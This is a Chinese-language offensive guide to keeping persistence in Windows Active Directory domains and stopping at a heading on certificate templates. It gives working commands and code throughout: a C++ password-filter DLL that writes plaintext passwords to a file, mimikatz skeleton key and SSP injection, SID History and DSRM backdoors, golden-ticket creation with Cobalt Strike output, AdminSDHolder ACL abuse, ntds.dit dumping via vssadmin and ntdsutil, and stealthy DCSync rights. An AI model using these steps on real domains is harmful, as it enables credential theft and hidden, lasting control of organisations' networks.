域权限维持通用方法总汇

目录

Hook PasswordChangeNotify

原理:当用户修改密码时会输入明文密码,LSA会调用PasswordChangeNotify 在系统中同步密码。我们HOOK这个函数,改变其行为,就能达到获取用户修改后的密码的明文.

Tool: Powersploit下的Invoke-ReflectivePEInjection.ps1 (用于注入) https://github.com/PowerShellMafia/PowerSploit 以及 https://github.com/clymb3r/Misc-Windows-Hacking 的HookPasswordChange.dll(需自行编译)

Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass

执行如上命令,只要修改了用户的密码,修改后的明文密码就会记录在 C:\Windows\Temp\passwords.txt 文件中。

下面我们分析一下原理

当密码改变请求发生时,LSA会调用Password Filters。每一个password filter会先验证新密码的合法性和复杂度,然后LSA会发出请求已更改的信号。

QQ截图20210217133057

该过程由 password notification DLL 完成。所以我们只需要劫持这个DLL,把它换成我们自定义的DLL即可达到目的。 这种方式一般在Server服务器上利用率较高 通常来说,这个dll文件的在注册表中的路径是 hklm\system\currentcontrolset\control\lsa的 notification packages表项。

QQ截图20210217133116

我们要利用该方法,首先要确保密码策略已启用

QQ截图20210217133138

至于命令行怎么修改。可以这样

secedit /export /cfg gp.inf /quiet   将组策略导出为文件
在该文件里将PasswordComplexity项值修改为1
然后用secedit /configure /db gp.sdb /cfg gp.inf /quiet 将其导入数据库
刷新组策略: gpupdate/force
重启后生效

下面我们构造dll文件去覆盖它。

首先我们的dll文件内容如下。

#include<Windows.h>
#include<NTSecAPI.h>
#include <fstream>

extern "C" __declspec(dllexport) BOOLEAN __stdcall InitializeChangeNotify() {
  OutputDebugString(L"InitializeChangeNotify");
  return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordFilter(
  PUNICODE_STRING AccountName,
  PUNICODE_STRING FullName,
  PUNICODE_STRING Password,
  BOOLEAN SetOperation)
{
  OutputDebugString(L"PasswordFilter");
  return TRUE;
}

extern "C" __declspec(dllexport) BOOLEAN __stdcall PasswordChangeNotify(
  PUNICODE_STRING UserName,
  ULONG RelativeId,
  PUNICODE_STRING NewPassword)
{
  FILE *pFile;
  fopen_s(&pFile, "C:\\logFile.txt", "a+");
  fprintf(pFile, "%ws:%ws", UserName->Buffer, NewPassword->Buffer);
  return 0;
}

然后把这个dll文件放入system32文件,然后修改注册表,使 hklm\system\currentcontrolset\control\lsa的 notification packages表项包括我们的恶意dll文件,具体命令行操作如下

REG ADD "HKLMSYSTEMCurrentControlSetControlLsa" /v "Notification Packages" /t REG_MULTI_SZ /d "evildll" /f

重启后生效。无奈的是我把dll文件写出来了且确保是正确的,在win7和win2012上复现均失败,网上成功的例子是win2008server,可惜我并没有这个版本的虚拟机不过原理倒是懂了

万能密码

运用mimkatz可以在域控机上对所有用户添加一个统一密码用来登录.

mimikatz# privilege::debug
mimikatz# misc::skeleton

然后所有用户都能用密码 mimiaktz登陆了

SSP注入

ssp:一个DLL文件,用来实现Windows身份验证功能,比如kerberos,ntlm。系统启动时SSP会被自动加载入lsass.exe sspi:SSP的API接口

如果我们自定义个恶意dll文件让他在系统启动时自动加载到lsass.exe,就能得到进程中的明文密码

临时性注入(重启便失效)

mimikatz# privilege::debug
mimiaktz# misc::memssp

执行如上命令, 然后只要目标机器不重启,在目标机器上登录的用户名和密码将会被记录在 C:\Windows\System32\mimilsa.log 文件中。

QQ截图20210217133322

长期性注入(重启不失效)

把 mimikatz中的mimilib.dll放到系统的C:\Windows\System32\ 目录下,并将 mimilib.dll 添加到注册表中,使用这种方法,即使系统重启,也不会影响持久化效果。

修改注册表 HKEY_LOCAL_MACHINE/System/CurrentControlSet/Control/Lsa 的 Security Packages 项,加载新的DLL文件

QQ截图20210217133335

用户在登录时输入的账号密码将会被记录在 C:\Windows\System32\kiwissp.log

SID History后门

sid history:当我们把域A的用户x迁移到域B时,B域中x的sid会发生改变,随即而来的是权限也会发生改变。所以为了避免这种权限改变,sid history诞生了, 系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源 。

在域控上

privilege::debug
sid::patch
sid::add /sam:const27 /new:administrator 将administrator的SID添加到const27的sid history属性

然后可以在域控上验证其sid history是否更改成功

Import-Module activedirectory
Get-ADUser const27 -Properties sidhistory

QQ截图20210217133438

可以发现现在是有SIDHistory属性了。而且末尾的500预示着ADMIN权限

DSRM后门

DSRM账号:每个域控上都有一个本地管理员账户也就是DSRM账户,用于在域环境出现故障时本地登录进行修复.可以利用这个账户进行持久化操作。( 如果域控制器的系统版本为Windows Server 2003,则不能使用该方法进行持久化操作。 )

我们先设置DSRM密码 域控上输入ntdsutil 然后输入reset password on server null 然后键入密码,最后按q退出即可

QQ截图20210217133606

在mimikatz中dump本地hash可以看到多出来个Administrator

QQ截图20210217133631

然后设置DSRM登陆方式 DSRM登陆方式有三种分别对应123.

我们需要将他改成2才行。powershell执行

New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD

即可.然后直接psexec登录(这里用的是cs)

QQ截图20210217133652

注意填Realm时要填上面dump出sam时的域名(这里是DC)

委派后门

这个很简单,利用约束性委派或者基于资源的约束性委派攻击得到的ST2保存起来,或者非约束性委派得到的TGT,要用的时候加载进内存就行了

黄金票据生成

#提权
privilege::debug

#生成黄金票据并导入
kerberos::golden /user:administrator /domain:const.com /sid:当前用户sid去掉最后一个数据 /krbtgt:krbtgt的hash /ptt

cs

beacon> mimikatz kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt
[*] Tasked beacon to run mimikatz's kerberos::golden /user:Administrator /domain:ocean.com /sid:S-1-5-21-436250240-237335239-2342608000 /krbtgt:31d6cfe0d16ae931b73c59d7e0c089c0 /endin:480 /renewmax:10080 /ptt command
[+] host called home, sent: 438858 bytes
[+] received output:
User      : Administrator
Domain    : ocean.com (OCEAN)
SID       : S-1-5-21-436250240-237335239-2342608000
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 31d6cfe0d16ae931b73c59d7e0c089c0 - rc4_hmac_nt      
Lifetime  : 2021/12/6 15:46:14 ; 2021/12/6 23:46:14 ; 2021/12/13 15:46:14
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'Administrator @ ocean.com' successfully submitted for current session

AdminSDHolder

AdminSDHolder是一个特殊容器,用作受保护用户或组的ACM模板。AD定期把 AdminSDHolder对象的ACL 应用到所有受保护用户或组上,防止其被有意或故意修改。 如果能够修改AdminSDHolder对象的ACL,那么修改的权限将自动应用于所有受保护的AD账户和组,这可以作为一个域环境权限维持的方法 。

如何寻找受保护用户或组:

受保护用户或组的 AdminCount属性为1 。 但是,如果对象已移出受保护组,其AdminCount属性仍为1,也就是说,有可能获得曾经是受保护组的帐户和组 。

使用powerview.ps1Get-NetUser -AdminCount即可获得受保护用户 Get-NetGroup -AdminCount即可获得受保护组

如何修改ADMINSDHOLDER的ACL

域管执行以下命令(powerview.ps1)

Add-DomainObjectAcl -TargetSearchBase "LDAP://CN=AdminSDHolder,CN=System,DC=CONST,DC=COM" -PrincipalIdentity xx -Verbose -Rights ALL
给AdminSDHoloder添加一条ACL,让xx用户获得完全控制权

QQ截图20210217133841

然后默认等60分钟,待ADMINSDHOLDER生效后,xx就获得所有受保护对象的完全控制权了

QQ截图20210217133909

Ntds.dit

"Ntds.dit文件是域环境中域控上会有的一个二进制文件,是主要的活动目录数据库,其文件路径为域控的 %SystemRoot%\ntds\ntds.dit,活动目录始终会访问这个文件,所以文件禁止被读取。Ntds.dit包括但不限于有关域用户、组和组成员身份和凭据信息、GPP等信息。它包括域中所有用户的密码哈希值,为了进一步保护密码哈希值,使用存储在SYSTEM注册表配置单元中的密钥对这些哈希值进行加密。"——FREEBUF.whoami《内网渗透测试:从NTDS.dit获取域散列值》 插个题外话:非域的工作组主机其密码等信息存储在SAM中。

我们获取了域控后一般第一步便是导出Ntds.dit中的信息,怎么导出呢?

利用VSS导出

VSS全称为Volume Shadow Copy Service,卷影拷贝服务,属于快照技术的一种,主要用于备份和恢复,即使文件处于被锁定状态。

其获取NTDS.DIT的基本步骤为:

创建目标主机所有文件的卷影拷贝。 在创建的卷影拷贝中复制出NTDS.DIT。 删除卷影拷贝。

VSSADMIN

vssadmin是windows上一个命令行卷影拷贝服务管理工具。其适用于: Windows 10,Windows 8.1,Windows Server 2016,Windows Server 2012 R2,Windows Server 2012,Windows Server 2008 R2,Windows Server 2008

image-20210729165404714

其导出NTDS.DIT的方法如下

创建一个C盘的卷影拷贝

vssadmin create shadow /for=c:

image-20210729165602611

然后将卷影中的ntds.dit复制出来

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit C:\ntds.dit

然后删除卷影

vssadmin delete shadows /for=c: /quiet

Ntdsutil.exe

Ntdsutil.exe 是一个为 Active Directory 提供管理设施的命令行工具,该工具被默认安装在了域控制器上,可以在域控上直接操作,也可以通过域内机器在域控上远程操作,但是需要管理员权限。

为WINDOWS上所有文件创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

image-20210729170339152

我们得到了个快照的ID,接下来我们就需要加载这个卷影到我们的磁盘中

ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit

执行后就会发现这个快照加载到了C盘下(这里dir看到的NTDS.DIT与本次实验无关,是上次实验残留下来没删的)

image-20210729170830331

然后将ntds.dit复制出来

copy c:\$SNAP_202107291703_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit

然后删除快照

ntdsutil snapshot "mount {bdccff3c-810c-4f78-9d80-c6729910e83a}" "delete {bdccff3c-810c-4f78-9d80-c6729910e83a}" quit quit

同时,NTDSUTIL还有一个更加便捷的导出ntds.dit的方法:通过IFM IFM中文叫媒体安装集,在我们通过NTDSUTIL来创建媒体安装集时,会自动进行生成快照、加载、将ntds.dit、计算机的SAM和SYSTEM文件复制到目标文件夹中等操作,需管理员权限。

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q 

image-20210729171538273

然后在C:\test\Active Directory\ntds.dit,就是NTDS.DIT,我们复制出来就行了。 然后再把test文件夹删除即可。

解析NTDS.DIT

在提取NTDS.DIT后,我们需要再提取一个文件system.hive,因为system.hive中存放着NTDS.DIT的密钥,有了它我们才能解析NTDS.DIT。

可以用刚刚提到的VSS方法获取,也可以直接用以下命令从注册表中拉取.

reg save hklm\system c:\system.hive

Impacket

impacket框架集成了许多好玩的东西,他其中的secretdump.py脚本实现了解析ntds.dit的功能

直接再impacket的example下

python .\secretsdump.py -system .\system.hive -ntds .\ntds.dit local

image-20210729235923711

远程解析

DCSYNC

"DCSync是Mimikatz在2015年添加的一个功能,由Benjamin DELPY gentilkiwi和Vincent LE TOUX共同编写,其能够利用卷影拷贝服务直接读取ndts.dit并导出域内所有用户的哈希值。需要管理员权限。"

这个东西 可以实现不登录到域控而获取域控上的数据 获得以下权限就可以使用了

然后在mimikatz里 privilege::debug lsadump::dcsync /user:xxxx /domain:xxxxx /csv 即可

想获取全部hash也可以lsadump::dcsync /domain:xxx.com /all /csv

QQ截图20210217133813

然后我们就可以通过krbtgt hash制作黄金票据登录administrator。 如果还想隐蔽一点,可以给普通用户添加如下ACE,使其获得dcsync权限

- - DS-Replication-Get-Changes(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2) - DS-Replication-Get-Changes-All(GUID:1131f6ad-9c07-11d1-f79f-00c04fc2dcd2) - DS-Replication-Get-Changes(GUID:89e95b76-444d-4c62-991a-0facbeda640c)

可以以管理员权限运行powerview.ps1完成以上操作

#给域用户hack添加以上三条ACE
Add-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

#给域用户hack删除以上三条ACE
Remove-DomainObjectAcl -TargetIdentity "DC=xie,DC=com" -PrincipalIdentity hack -Rights DCSync -Verbose

然后普通用户也可以用mimikatz调用dcsync导出hash了

DCSYNC的powershell实现

mimikatz免杀过不去的话可以试试这个https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1

Import-Module .\Invoke-DCSync.ps1
Invoke-DCSync -DumpForest | ft -wrap -autosize    // 导出域内所有用户的hash

Invoke-DCSync -DumpForest -Users @("administrator") | ft -wrap -autosize      // 导出域内administrator账户的hash

我这里WIN10域控打不通,不知道为啥

配合EXCHANGE用户达到域提权目的

exchange安装后会在AD上生成两个容器

QQ截图20210217141602

其中exchange windows permissions组的用户拥有writeDACL权限, Exchange Trusted Subsystem 是 Exchange Windows Permission 的成员,能继承writedacl权限,有这个权限后就能使用dcsync导出所有用户hash。 其中exchange trusted subsystem组甚至可能有继承自administrators组的权限。

QQ截图20210217141614

同时,在安装exchange后还会生成一个组Organization Management,这个组可以修改其他exchange组的用户信息。 当然也可以修改Exchange Trusted Subsystem组的成员信息,比如向里面加一个以获得的用户。

综上所述,只要获得Organization Management,Exchange Trusted Subsystem,Exchange Windows Permission,就可以通过dcsync来获取整个域权限。 当然,想获得上述组用户权限,还是不太容易的。

利用证书模版